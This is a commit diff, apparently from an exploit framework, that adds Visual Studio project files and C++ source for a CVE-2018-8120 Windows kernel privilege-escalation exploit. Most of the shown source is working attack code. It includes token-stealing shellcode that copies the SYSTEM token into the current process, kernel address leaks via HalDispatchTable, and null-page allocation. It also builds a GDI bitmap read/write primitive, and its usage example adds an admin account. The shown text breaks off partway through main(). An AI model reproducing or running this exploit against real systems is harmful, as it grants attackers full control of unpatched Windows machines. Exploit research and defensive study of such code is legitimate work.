removed original binary, added source
parent
521b50af55
commit
cdc2918c84
Binary file not shown.
|
@ -0,0 +1,28 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2018-8120", "CVE-2018-8120\CVE-2018-8120.vcxproj", "{B076D8F6-7924-42DD-B101-54A162D2EBD0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
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||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
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GlobalSection(ProjectConfigurationPlatforms) = postSolution
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{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|Win32.ActiveCfg = Debug|Win32
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{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|Win32.Build.0 = Debug|Win32
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||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Debug|x64.Build.0 = Debug|x64
|
||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|Win32.Build.0 = Release|Win32
|
||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|x64.ActiveCfg = Release|x64
|
||||
{B076D8F6-7924-42DD-B101-54A162D2EBD0}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
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||||
GlobalSection(SolutionProperties) = preSolution
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||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
154
external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj
vendored
Executable file
154
external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj
vendored
Executable file
|
@ -0,0 +1,154 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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||||
<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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||||
<Platform>Win32</Platform>
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</ProjectConfiguration>
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||||
<ProjectConfiguration Include="Debug|x64">
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||||
<Configuration>Debug</Configuration>
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||||
<Platform>x64</Platform>
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||||
</ProjectConfiguration>
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||||
<ProjectConfiguration Include="Release|Win32">
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||||
<Configuration>Release</Configuration>
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||||
<Platform>Win32</Platform>
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||||
</ProjectConfiguration>
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||||
<ProjectConfiguration Include="Release|x64">
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||||
<Configuration>Release</Configuration>
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||||
<Platform>x64</Platform>
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</ProjectConfiguration>
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||||
</ItemGroup>
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<PropertyGroup Label="Globals">
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<ProjectGuid>{B076D8F6-7924-42DD-B101-54A162D2EBD0}</ProjectGuid>
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||||
<Keyword>Win32Proj</Keyword>
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<RootNamespace>CVE20188120</RootNamespace>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v120</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<PrecompiledHeader>
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</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<PrecompiledHeader>
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</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<PrecompiledHeader>
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</PrecompiledHeader>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
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</ClCompile>
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<Link>
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||||
<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>false</GenerateDebugInformation>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<PrecompiledHeader>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>false</GenerateDebugInformation>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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||||
<OptimizeReferences>true</OptimizeReferences>
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||||
</Link>
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</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Source.cpp" />
|
||||
</ItemGroup>
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||||
<ItemGroup>
|
||||
<MASM Include="shellcode.asm" />
|
||||
</ItemGroup>
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||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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||||
<ImportGroup Label="ExtensionTargets">
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<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
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</ImportGroup>
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</Project>
|
27
external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters
vendored
Executable file
27
external/source/exploits/CVE-2018-8120/CVE-2018-8120/CVE-2018-8120.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,27 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="Source Files">
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<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
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||||
<Filter Include="Resource Files">
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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||||
</Filter>
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</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Source.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="shellcode.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,667 @@
|
|||
#define PSAPI_VERSION 1
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Psapi.h>
|
||||
#include <intrin.h>
|
||||
//#pragma comment(lib,"ntdll.lib")
|
||||
#pragma comment(lib, "Psapi.lib")
|
||||
|
||||
|
||||
|
||||
#ifndef _WIN64
|
||||
typedef
|
||||
NTSYSAPI
|
||||
NTSTATUS
|
||||
(NTAPI *_NtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PULONG RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
struct tagIMEINFO32
|
||||
{
|
||||
unsigned int dwPrivateDataSize;
|
||||
unsigned int fdwProperty;
|
||||
unsigned int fdwConversionCaps;
|
||||
unsigned int fdwSentenceCaps;
|
||||
unsigned int fdwUICaps;
|
||||
unsigned int fdwSCSCaps;
|
||||
unsigned int fdwSelectCaps;
|
||||
};
|
||||
|
||||
typedef struct tagIMEINFOEX
|
||||
{
|
||||
HKL__ *hkl;
|
||||
tagIMEINFO32 ImeInfo;
|
||||
wchar_t wszUIClass[16];
|
||||
unsigned int fdwInitConvMode;
|
||||
int fInitOpen;
|
||||
int fLoadFlag;
|
||||
unsigned int dwProdVersion;
|
||||
unsigned int dwImeWinVersion;
|
||||
wchar_t wszImeDescription[50];
|
||||
wchar_t wszImeFile[80];
|
||||
__int32 fSysWow64Only : 1;
|
||||
__int32 fCUASLayer : 1;
|
||||
}IMEINFOEX, *PIMEINFOEX;
|
||||
|
||||
struct _HEAD
|
||||
{
|
||||
void *h;
|
||||
unsigned int cLockObj;
|
||||
};
|
||||
|
||||
struct tagKBDFILE
|
||||
{
|
||||
_HEAD head;
|
||||
tagKBDFILE *pkfNext;
|
||||
void *hBase;
|
||||
void *pKbdTbl;
|
||||
unsigned int Size;
|
||||
void *pKbdNlsTbl;
|
||||
wchar_t awchDllName[32];
|
||||
};
|
||||
|
||||
typedef struct _tagKL
|
||||
{
|
||||
_HEAD head;
|
||||
_tagKL *pklNext;
|
||||
_tagKL *pklPrev;
|
||||
unsigned int dwKL_Flags;
|
||||
HKL__ *hkl;
|
||||
tagKBDFILE *spkf;
|
||||
tagKBDFILE *spkfPrimary;
|
||||
unsigned int dwFontSigs;
|
||||
unsigned int iBaseCharset;
|
||||
unsigned __int16 CodePage;
|
||||
wchar_t wchDiacritic;
|
||||
tagIMEINFOEX *piiex;
|
||||
unsigned int uNumTbl;
|
||||
tagKBDFILE **pspkfExtra;
|
||||
unsigned int dwLastKbdType;
|
||||
unsigned int dwLastKbdSubType;
|
||||
unsigned int dwKLID;
|
||||
}tagKL, *P_tagKL;
|
||||
DWORD gSyscall = 0;
|
||||
|
||||
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
|
||||
{
|
||||
_asm
|
||||
{
|
||||
|
||||
mov esi, tmp;
|
||||
mov eax, gSyscall;
|
||||
mov edx, 0x7FFE0300;
|
||||
call dword ptr[edx];
|
||||
ret 4;
|
||||
}
|
||||
}
|
||||
#else
|
||||
extern "C" void NtUserSetImeInfoEx(PVOID);
|
||||
typedef
|
||||
NTSYSAPI
|
||||
NTSTATUS
|
||||
(NTAPI *_NtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID *BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PULONG64 RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
#endif
|
||||
|
||||
typedef struct
|
||||
{
|
||||
LPVOID pKernelAddress;
|
||||
USHORT wProcessId;
|
||||
USHORT wCount;
|
||||
USHORT wUpper;
|
||||
USHORT wType;
|
||||
LPVOID pUserAddress;
|
||||
} GDICELL;
|
||||
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
|
||||
|
||||
typedef BOOL(WINAPI *LPFN_GLPI)(
|
||||
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
|
||||
PDWORD);
|
||||
|
||||
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
|
||||
OUT PULONG Interval);
|
||||
|
||||
NtQueryIntervalProfile_t NtQueryIntervalProfile;
|
||||
|
||||
|
||||
DWORD gTableOffset = 0;
|
||||
HANDLE gManger, gWorker;
|
||||
|
||||
#ifdef _WIN64
|
||||
ULONG64 gtable;
|
||||
#else
|
||||
DWORD gtable;
|
||||
#endif
|
||||
|
||||
#ifdef _WIN64
|
||||
ULONG64 getpeb()
|
||||
{
|
||||
#else
|
||||
DWORD getpeb()
|
||||
{
|
||||
#endif
|
||||
#ifdef _WIN64
|
||||
ULONG64 p = (ULONG64)__readgsqword(0x30);
|
||||
p = *(ULONG64*)(p + 0x60);
|
||||
#else
|
||||
DWORD p = (DWORD)__readfsdword(0x18);
|
||||
p = *(DWORD*)((char*)p + 0x30);
|
||||
#endif
|
||||
return p;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
ULONG64 getgdi()
|
||||
{
|
||||
#else
|
||||
DWORD getgdi()
|
||||
{
|
||||
#endif
|
||||
#ifdef _WIN64
|
||||
return *(ULONG64*)(getpeb() + gTableOffset);
|
||||
#else
|
||||
return *(DWORD*)(getpeb() + gTableOffset);
|
||||
#endif
|
||||
|
||||
}
|
||||
PVOID getpvscan0(HANDLE h)
|
||||
{
|
||||
if (!gtable)
|
||||
gtable = getgdi();
|
||||
#ifdef _WIN64
|
||||
ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL);
|
||||
GDICELL *c = (GDICELL*)p;
|
||||
return (char*)c->pKernelAddress + 0x50;
|
||||
#else
|
||||
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
|
||||
GDICELL *c = (GDICELL*)p;
|
||||
return (char*)c->pKernelAddress + 0x30;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
#ifdef _WIN64
|
||||
typedef unsigned __int64 QWORD, *PQWORD;
|
||||
typedef QWORD DT;
|
||||
#else
|
||||
typedef DWORD DT;
|
||||
#endif
|
||||
|
||||
extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
|
||||
#ifdef _WIN64
|
||||
extern "C" void shellcode08(void);
|
||||
extern "C" void shellcode7(void);
|
||||
#else
|
||||
|
||||
__declspec(noinline) int shellcode()
|
||||
{
|
||||
__asm {
|
||||
pushad;// save registers state
|
||||
mov edx, g_kthread;
|
||||
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
|
||||
mov edx, g_EPROCESS;
|
||||
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
|
||||
mov ecx, eax;// Copy current _EPROCESS structure
|
||||
mov esi, g_EPROCESS_TokenOffset;
|
||||
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
|
||||
mov edi, g_flink;
|
||||
mov ebx, g_PID;
|
||||
SearchSystemPID:
|
||||
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
|
||||
sub eax, edi;
|
||||
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
|
||||
jne SearchSystemPID;
|
||||
|
||||
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
|
||||
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
|
||||
popad;// restore registers state
|
||||
|
||||
// recovery
|
||||
xor eax, eax;// Set NTSTATUS SUCCEESS
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
||||
DWORD GetCpuNumber()
|
||||
{
|
||||
LPFN_GLPI glpi;
|
||||
BOOL done = FALSE;
|
||||
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
|
||||
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
|
||||
DWORD returnLength = 0;
|
||||
DWORD logicalProcessorCount = 0;
|
||||
DWORD numaNodeCount = 0;
|
||||
DWORD processorPackageCount = 0;
|
||||
DWORD byteOffset = 0;
|
||||
|
||||
glpi = (LPFN_GLPI)GetProcAddress(
|
||||
GetModuleHandle(TEXT("kernel32")),
|
||||
"GetLogicalProcessorInformation");
|
||||
if (NULL == glpi)
|
||||
{
|
||||
puts("[-] GetLogicalProcessorInformation is not supported.");
|
||||
return (1);
|
||||
}
|
||||
|
||||
while (!done)
|
||||
{
|
||||
DWORD rc = glpi(buffer, &returnLength);
|
||||
|
||||
if (FALSE == rc)
|
||||
{
|
||||
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
|
||||
{
|
||||
if (buffer)
|
||||
free(buffer);
|
||||
|
||||
buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
|
||||
returnLength);
|
||||
|
||||
if (NULL == buffer)
|
||||
{
|
||||
puts("[-] Error: Allocation failure");
|
||||
return (1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[-] Error %d\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
done = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
ptr = buffer;
|
||||
|
||||
while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
|
||||
{
|
||||
switch (ptr->Relationship)
|
||||
{
|
||||
|
||||
case RelationProcessorPackage:
|
||||
// Logical processors share a physical package.
|
||||
processorPackageCount++;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
|
||||
ptr++;
|
||||
}
|
||||
|
||||
return processorPackageCount;
|
||||
}
|
||||
// detect extract kernel images.
|
||||
char* DetectKernel(PDWORD offset)
|
||||
{
|
||||
BOOL pae = FALSE;
|
||||
*offset = 0;
|
||||
int tmp[4];
|
||||
RtlSecureZeroMemory(tmp, sizeof(tmp));
|
||||
__cpuid(tmp, 1);
|
||||
|
||||
if (tmp[3]&0x40)
|
||||
{
|
||||
pae = TRUE;
|
||||
}
|
||||
|
||||
if (GetCpuNumber()>1)
|
||||
{
|
||||
#ifndef _WIN64
|
||||
if (pae)
|
||||
{
|
||||
*offset = 0x9000;
|
||||
return "ntkrpamp.exe";
|
||||
}
|
||||
else
|
||||
#endif
|
||||
{
|
||||
return "ntkrnlmp.exe";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifndef _WIN64
|
||||
|
||||
if (pae)
|
||||
{
|
||||
*offset = 0x9000;
|
||||
return "ntkrnlpa.exe";
|
||||
}
|
||||
else
|
||||
#endif
|
||||
{
|
||||
return "ntoskrnl.exe";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
PVOID leakHal()
|
||||
{
|
||||
DT ntoskrnlBase;
|
||||
DT HalDTUser, HalDTOffset;
|
||||
HMODULE userKernel;
|
||||
char * FuncAddress = 0L;
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
|
||||
{
|
||||
if (drivers[0])
|
||||
{
|
||||
ntoskrnlBase = (DT)drivers[0];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
|
||||
}
|
||||
// ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
|
||||
DWORD offset = 0;
|
||||
bool failback = false;
|
||||
char *kernel = DetectKernel(&offset);
|
||||
printf("[+] Detected kernel %s\n", kernel);
|
||||
userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (userKernel == NULL)
|
||||
{
|
||||
printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
|
||||
userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||
failback = true;
|
||||
if (userKernel == NULL)
|
||||
{
|
||||
puts("[-] Could not load ntoskrnl.exe");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
|
||||
HalDTOffset = HalDTUser - (DT)userKernel;
|
||||
|
||||
if (failback)
|
||||
{
|
||||
return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
|
||||
}
|
||||
else
|
||||
{
|
||||
return (PVOID)(ntoskrnlBase + HalDTOffset);
|
||||
}
|
||||
}
|
||||
void main()
|
||||
{
|
||||
int argc = 0;
|
||||
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
|
||||
puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
|
||||
fflush(stdout);
|
||||
if (argc != 2)
|
||||
{
|
||||
puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
|
||||
fflush(stdout);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
HMODULE hntdll = GetModuleHandle(L"ntdll");
|
||||
PVOID overwrite_address;
|
||||
int overwrite_offset;
|
||||
ULONG Interval = 0;
|
||||
PVOID sc=0;
|
||||
|
||||
OSVERSIONINFOW osver;
|
||||
RtlSecureZeroMemory(&osver, sizeof(osver));
|
||||
osver.dwOSVersionInfoSize = sizeof(osver);
|
||||
RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
|
||||
pRtlGetVersion(&osver);
|
||||
if (osver.dwMajorVersion == 5) {
|
||||
#ifdef _WIN64
|
||||
g_EPROCESS_TokenOffset = 0x160;
|
||||
g_EPROCESS = 0x68;
|
||||
g_flink = 0xe0;
|
||||
g_PID = 0xd8;
|
||||
g_kthread = 0x188;
|
||||
#else
|
||||
g_EPROCESS_TokenOffset = 0xd8;
|
||||
g_EPROCESS = 0x38;
|
||||
g_flink = 0x098;
|
||||
g_PID = 0x94;
|
||||
g_kthread = 0x124;
|
||||
#endif
|
||||
}
|
||||
else if (osver.dwMajorVersion == 6) {
|
||||
#ifdef _WIN64
|
||||
gTableOffset = 0x0f8;
|
||||
if (osver.dwMinorVersion == 0)//win2008
|
||||
{
|
||||
overwrite_address = (char*)leakHal(); // HalDispatchTable
|
||||
overwrite_offset = 0x8; // QueryIntervalProfile
|
||||
sc = &shellcode08;
|
||||
g_EPROCESS_TokenOffset = 0x168;
|
||||
g_EPROCESS = 0x68;
|
||||
g_flink = 0xe0;
|
||||
g_PID = 0xe8;
|
||||
g_kthread = 0x188;
|
||||
}
|
||||
else
|
||||
{//win7
|
||||
overwrite_address = (char*)leakHal(); // HalDispatchTable
|
||||
overwrite_offset = 0x8; // QueryIntervalProfile
|
||||
sc = &shellcode7;
|
||||
g_EPROCESS_TokenOffset = 0x208;
|
||||
g_EPROCESS = 0x70;
|
||||
g_flink = 0x188;
|
||||
g_PID = 0x180;
|
||||
g_kthread = 0x188;
|
||||
}
|
||||
|
||||
#else
|
||||
gTableOffset = 0x094;
|
||||
if (osver.dwMinorVersion == 0)//win2008
|
||||
{
|
||||
overwrite_address = (char*)leakHal(); // HalDispatchTable
|
||||
overwrite_offset = 0x4; // QueryIntervalProfile
|
||||
gSyscall = 0x121b;
|
||||
g_EPROCESS_TokenOffset = 0xe0;
|
||||
g_EPROCESS = 0x48;
|
||||
g_flink = 0xa0;
|
||||
g_PID = 0x9c;
|
||||
g_kthread = 0x124;
|
||||
}
|
||||
else
|
||||
{//win7
|
||||
overwrite_address = (char*)leakHal(); // HalDispatchTable
|
||||
overwrite_offset = 0x4; // QueryIntervalProfile
|
||||
gSyscall = 0x1226;
|
||||
g_EPROCESS_TokenOffset = 0xf8;
|
||||
g_EPROCESS = 0x50;
|
||||
g_flink = 0xb8;
|
||||
g_PID = 0xb4;
|
||||
g_kthread = 0x124;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[-] Not supported version %d\n", osver.dwBuildNumber);
|
||||
ExitProcess(-1);
|
||||
}
|
||||
|
||||
|
||||
|
||||
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory");
|
||||
|
||||
PVOID addr = (PVOID)0x100;
|
||||
DT size = 0x1000;
|
||||
|
||||
|
||||
if (!NtAllocateVirtualMemory) {
|
||||
printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
ExitProcess(1);
|
||||
}
|
||||
|
||||
if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
|
||||
{
|
||||
puts("[-] Fail to alloc null page!");
|
||||
fflush(stdout);
|
||||
ExitProcess(2);
|
||||
}
|
||||
|
||||
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
|
||||
|
||||
if (!hSta)
|
||||
{
|
||||
printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
ExitProcess(3);
|
||||
}
|
||||
|
||||
if (!SetProcessWindowStation(hSta))
|
||||
{
|
||||
printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
|
||||
fflush(stdout);
|
||||
ExitProcess(4);
|
||||
}
|
||||
unsigned int bbuf[0x60] = {0x90};
|
||||
//RtlSecureZeroMemory(bbuf, 0x60);
|
||||
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
|
||||
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
|
||||
|
||||
PVOID mpv = getpvscan0(gManger);
|
||||
PVOID wpv = getpvscan0(gWorker);
|
||||
|
||||
#ifndef _WIN64
|
||||
printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
|
||||
P_tagKL pkl = 0;
|
||||
pkl->hkl = (HKL__ *)wpv;
|
||||
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
|
||||
|
||||
IMEINFOEX ime;
|
||||
RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX));
|
||||
#else
|
||||
printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv);
|
||||
char* pkl = 0;
|
||||
*(DT*)(pkl + 0x28) = (DT)wpv;
|
||||
*(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID);
|
||||
|
||||
char ime[0x200];
|
||||
RtlSecureZeroMemory(&ime, 0x200);
|
||||
#endif // _WIN32
|
||||
fflush(stdout);
|
||||
